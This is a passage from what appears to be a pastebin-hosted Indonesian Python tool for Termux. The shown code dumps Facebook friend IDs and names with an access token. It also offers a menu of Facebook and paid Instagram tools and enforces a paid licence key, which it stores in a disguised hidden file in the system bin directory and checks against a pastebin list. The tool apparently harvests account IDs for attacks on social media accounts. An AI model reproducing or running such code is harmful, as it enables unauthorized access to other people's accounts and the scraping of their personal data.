  601.               for xxx in url['data']:
  602.                   done = '%s|%s'%(xxx['id'], xxx['name'])
  603.                   print(f'{P}[{H}+{P}] Berhasil dump {H}{len(self.id)}',end='\r');sys.stdout.flush()
  604.                   if done not in self.id:self.id.append(done)
  605.  
  606.               if 'paging' in str(url):
  607.                   after = url['paging']['cursors']['after']
  608.                   self.exec_friends(auid, kueh, token ,after)
  609.           except:pass
  610.  
  611. def ListTools():
  612.     try:MAIN().bersih(platform.system())
  613.     except:pass
  614.     print(f'{P}[ {H}Silahkan Pilih Menu List Di Bawah!!!{P} ]{P}\n')
  615.     print(f'{P}[{H}1{P}] Facebook  : {K2}Free{P}')
  616.     print(f'[{H}2{P}] Instagram : {H}Prem{P}')
  617.     print(f'[{K}0{P}] Exit\n')
  618.     while True:
  619.       x = input(f'[{H}?{P}] Pilih : ')
  620.       if x in   ['01','1']:MAIN().Menu()
  621.       elif x in ['02','2']:MAIN().insta()
  622.       elif x in ['00','0']:exit()
  623.  
  624. import os, sys, time, random, json
  625. import requests, datetime, uuid
  626. from datetime import datetime
  627.  
  628. class LicenseKey:
  629.     def __init__(self):
  630.         self.url = "https://pastebin.com/raw/{}"
  631.  
  632.     def CreateKey(self):
  633.         Myid = str(os.getlogin().split('_')[0])+str(os.getlogin().split('_')[1])+str(os.getuid())
  634.         IdRd = str("".join([random.choice(list("abcdefghijklmnopqrstuvwxyz0123456789")) for _ in range(10)]))+"-"+Myid+"-"+str("".join([random.choice(list("abcdefghijklmnopqrstuvwxy0123456789")) for _ in range(10)]))
  635.         return IdRd
  636.  
  637.  
  638.     def Expired(self, Date):
  639.         bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  640.         tahun2,bulan2,hari2 = Date.split("-")
  641.         bulan4 = bulan2
  642.         bulan2 = bulan_ttl[bulan2]
  643.         tgl = datetime.now()
  644.         bln = tgl.month
  645.         thn = tgl.year
  646.         day = tgl.day
  647.         exp = datetime(int(tahun2), int(bulan4), int(hari2))
  648.         wkt = datetime(thn, bln, day)
  649.         sisa = exp - wkt
  650.         kadelwarsa = str(sisa).split()[0]
  651.         if ":" in str(kadelwarsa) or "-" in str(kadelwarsa):print ()
  652.         else:print ()
  653.  
  654.     def Create(self):
  655.         LicenseKey = json.loads(open("/data/data/com.termux/files/usr/bin/.dpkgg.json", "r").read())
  656.         print (f" $ LicenseKey: {LicenseKey['Key']}")
  657.         # list harga License Key
  658.         input(" pilih LicenseKey yang kamu mau")
  659.  
  660.     def CheckKey(self):
  661.         try:
  662.             LicenseKey = json.loads(open("/data/data/com.termux/files/usr/bin/.dpkgg.json", "r").read())
  663.         except FileNotFoundError:open("/data/data/com.termux/files/usr/bin/.dpkgg.json", "w").write(json.dumps({"Key": f"{str(self.CreateKey())}"}));self.Create()
  664.         with requests.Session() as xyz:
  665.             response = xyz.get(self.url.format("DPPmSGH2")).text
  666.             if LicenseKey["Key"] in response.split(" ")[0]:
  667.                 if LicenseKey["Key"].split("-")[1] in self.CreateKey().split("-")[1]:
  668.                     self.Expired(response.split(" ")[1])
  669.                 else:os.remove("/data/data/com.termux/files/usr/bin/.dpkgg.json");exit(" ! LicenseKey: {LicenseKey['Key']} - Max 1 device")
  670.             else:print(" ! LicenceKey tidak terdaftar");time.sleep(2);self.Create()
  671.  
  672. #if __name__ == '__main__':
  673. #   os.system('git pull')
  674. MAIN().insta()
  675.  
  676.  
  677.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement